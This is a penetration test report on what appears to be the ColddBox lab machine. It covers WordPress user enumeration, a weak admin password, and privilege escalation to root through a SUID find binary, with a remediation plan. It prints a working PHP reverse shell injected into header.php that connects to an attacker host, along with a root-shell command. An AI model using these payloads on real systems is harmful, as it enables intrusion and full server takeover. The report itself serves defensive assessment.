



ISMAIL TP

VULNERABILITY ASSESSMENT & PENETRATION TESTING

Target: ColddBox (10.0.2.13)

Date: 16/11/2025

Classification: Confidential

Assessor: ISMAIL TP



1. EXECUTIVE SUMMARY

A full-scope external penetration test was conducted on the ColddbBox machine hosted at 10.0.2.13. The assessment identified several critical security vulnerabilities that allowed full compromise of the server, including:

- WordPress administrative account takeover
- Remote Code Execution (RCE) via theme editor
- Misconfigured SUID binaries enabling privilege escalation to root
- Complete system compromise

The system is assessed as CRITICAL RISK and immediate remediation is required.

2. ATTACK OVERVIEW

1. Reconnaissance

- WordPress detected
- Users identified via WPScan enumeration

2 .Credential Attack

- Weak WordPress admin password
- Successful login using
- Username: c0ldd
- Password: 9876543210

3 .Remote Code Execution

PHP reverse shell injected into header.php through WordPress theme editor

4 .Privilege Escalation

- SUID bit found on /usr/bin/find
- Root shell obtained using:
-
- `find . -exec /bin/sh -p \; -quit`

5 .Full System Compromise

- Root access achieved
- Database credentials exposed in wp-config.php

3. TECHNICAL FINDINGS

3.1 Critical: Weak WordPress Admin Credentials

Severity: Critical

CVSS: 9.1

Description

WordPress admin password was extremely weak and guessable. WPScan enumeration identified the user c0ldd, and brute force revealed password "9876543210".

Evidence

- Screenshot: WordPress login page
- Successful login into /wp-admin/
- WPScan user enumeration results

Impact

- Complete administrative control of WordPress
- Ability to upload/edit code → leads to RCE

Recommendation

- Enforce strong password policy
- Implement rate limiting / captcha
- Disable user enumeration

3.2 Critical: Remote Code Execution via Theme Editor

Severity: Critical

CVSS: 9.8

Description

WordPress allowed editing PHP files via Appearance → Theme Editor. The attacker injected a PHP reverse shell into header.php.

Payload

```
<?php
if(isset($_GET['rev'])){
    $sock = fsockopen("10.0.2.5", 4444);
    $proc = proc_open("/bin/sh -i",
        array(0=>$sock, 1=>$sock, 2=>$sock),
        $pipes);
}
?>
```

Impact

- Remote shell as www-data obtained
- Full filesystem access
- Platform for privilege escalation

Recommendation

Add to wp-config.php:

```
sql

define('DISALLOW_FILE_EDIT', true);
```

3.3 Critical: Privilege Escalation via SUID Misconfiguration

Severity: Critical

CVSS: 9.8

Description

Linux system contained multiple risky SUID binaries.
/usr/bin/find had SUID bit enabled.

Exploit Used

```
find . -exec /bin/sh -p \; -quit
```

Result

- Root shell successfully obtained
- Complete system takeover

Recommendation

```
chmod u-s /usr/bin/find
```

Perform full SUID audit:

```
find / -perm -4000 -type f -exec ls -l {} \;
```

3.4 Medium: Information Disclosure

Severity: Medium

CVSS: 5.3

Description

Username publicly exposed through WordPress.

Evidence

WPScan enumeration:

- the cold in person
- philip
- c0ldd
- hugo

Impact

Helps password spraying and brute force attacks.

Recommendation

- Disable author archives
- Use WP hardening plugins
- Restrict access to `/wp-json/`

3.5 Critical: Sensitive Data Exposure in wp-config.php

Severity: Critical

Description

wp-config.php contained plaintext database credentials.

Credentials Found

```
DB_USER: c0ldd
DB_PASSWORD: cybersecurity
DB_NAME: coldbox
DB_HOST: localhost
```

Impact

- Full database takeover
- Ability to modify or destroy content

Recommendation

- Rotate all passwords immediately
- Restrict file permissions:

```
chmod 600 wp-config.php
```



4. COMPROMISED DATA SUMMARY

WordPress Accounts

```
c0ldd:9876543210  
hugo:(unknown)  
philip:(unknown)
```

Database Credentials

```
user: c0ldd  
pass: cybersecurity
```

System Access

- Web shell as www-data
- Root shell via SUID find

5. REMEDIATION PLAN

Immediate (24–48 hours)

- Reset all WP & DB passwords
- Remove malicious PHP code from theme files
- Remove SUID bit on find
- Update WordPress core to latest version

Short-term (1–2 weeks)

- Enforce strong passwords
- Install WAF (ModSecurity, Cloudflare)
- Disable theme/plugin editing

Long-term (1–2 months)

- Regular VAPT
- Implement logging and monitoring
- Enable file integrity monitoring (AIDE / Wazuh)

6. CONCLUSION

The ColddBox machine is critically vulnerable. A complete compromise was achieved due to weak passwords, insecure WordPress configuration, and misconfigured Linux permissions. Immediate remediation is mandatory to prevent real-world exploitation.